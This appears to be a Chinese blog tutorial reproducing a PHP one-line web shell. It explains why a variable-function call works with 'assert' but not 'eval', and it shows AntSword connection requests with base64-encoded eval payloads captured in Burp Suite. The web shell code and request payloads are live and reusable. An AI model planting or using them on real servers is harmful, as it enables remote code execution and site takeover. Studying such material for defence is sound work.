当前位置:网站首页>安全基础6 ---漏洞复现
安全基础6 ---漏洞复现
2022-07-25 19:25:00 【抱小猫】
工具:蚁剑、burpsuite
一句话木马:
<?php
$_POST['1']($_POST['2']);1、开始:我们想着把POST中的1传成:eval,这样就变成了eval($_POST['2]),此时就变成一个完美的一句话木马。
但是:这样的方式连接失败


失败原因:eval是一个语言构造而不是一个函数,不能被可变函数调用
PHP支持可变函数的概念,如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
2、这时,我们尝试使用assert函数测试

但是依然没有实现
3、这时我们将1提交为assert,2提交为eval($_POST[2])进行测试,这样提交参数相当于将PHP中代码变成了assert(eval($_POST[2]))

终于连接成功,说明这个方法是可行的
成功原因:assert在php中被认为是一个函数
4、如果我们1提交为assert,2提交为$_POST['chengke'],post里面为任意字符串,能否成功呢,我们再次进行成功

第一次,连接密码我们设置的为chengke,连接失败
第二次,我们把密码改成2时,显示连接成功

这时我们抓包测试一下
第一步:我们先在burpsuite 和蚁剑中设置代理


第二步:利用蚁剑发起连接请求用于抓包

可以通过抓包得到的信息开头为:1=assert&2=%40eval(%40base64_decode(%24_POST%5B'v723948492fd3c'%5D))%3B&v723948492fd3c=Q.......
可以看见2的里面多了一个eval函数,因为我们提交时用base64编码,所以其中使用eval函数对base64提供解码操作
若我们不使用编码器时,进行测试得到的结果为:
我们可以看见没有使用编码器时得到的信息2中没有eval函数,就只有一串字符串,然而只有字符串是无法执行assert函数,所以不使用编码器时是不行的。1=assert&2=%24_POST%5B'chengke'%5D&chengke=%40ini_set(%22display_........
由此可知,当我们选择base64编码器编码时,会自动生成eval函数对base64进行解码,然而我们刚好需要在2中有eval函数,此时就能使用assert从而生成一句话木马。
边栏推荐
猜你喜欢

微信小程序 28 热搜榜的完善①

哪吒 D1-H 测试 microbench
![[919. Complete binary tree inserter]](/img/d9/15a9af50893db955d9ebb4d7d4e3d1.png)
[919. Complete binary tree inserter]

SQL Server 2019 installation tutorial
![[web technology] 1391 page visualization building tool, previous life and present life](/img/59/a4efd1a703f5d876b170908ed0053c.png)
[web technology] 1391 page visualization building tool, previous life and present life
![[reading notes] deep learning Chapter 1: Introduction](/img/b3/58f71b032cd8f04ecf95d48281a41a.png)
[reading notes] deep learning Chapter 1: Introduction

微信小程序 26 播放音乐页的完善②

小程序毕设作品之微信校园维修报修小程序毕业设计成品(5)任务书

虹科分享|如何解决勒索软件安全漏洞

Solve the problem that the win10 account has no administrator rights
随机推荐
Small program completion work wechat campus maintenance application small program graduation design finished product (2) small program function
[hdlbits questions] Verilog language (3) modules: hierarchy section
[reading notes] deep learning Chapter 1: Introduction
TypeError: ‘str‘ object is not callable的错误原因
Openresty Lua resty mlcache multi-level cache
帝国CMS整站|手机号/QQ靓号商城源码|适配移动端
Clip can also do segmentation tasks? The University of Gottingen proposed a model clipseg that uses text and image prompt and can do three segmentation tasks at the same time, squeezing out the clip a
【小程序开发】常用组件及基本使用详解
小程序毕设作品之微信校园维修报修小程序毕业设计成品(5)任务书
哪吒 D1-H 测试 microbench
balanced binary tree
Real estate enterprises have launched a "war of guarantee"
【DETR用于3D目标检测】3DETR: An End-to-End Transformer Model for 3D Object Detection
Imperial cms7.5 imitation "question and answer library" question and answer learning platform website source code with mobile version
The second "future Cup" knowledge map championship was officially launched
Real estate industry reshuffle
微信小程序 27 进度条的动态实现和搜索框、热搜榜的静态搭建
Internal network planning and design of Yingcheng hospital
伺服驱动器在机器人上的研究与应用
QIIME2得到PICRUSt2结果后如何分析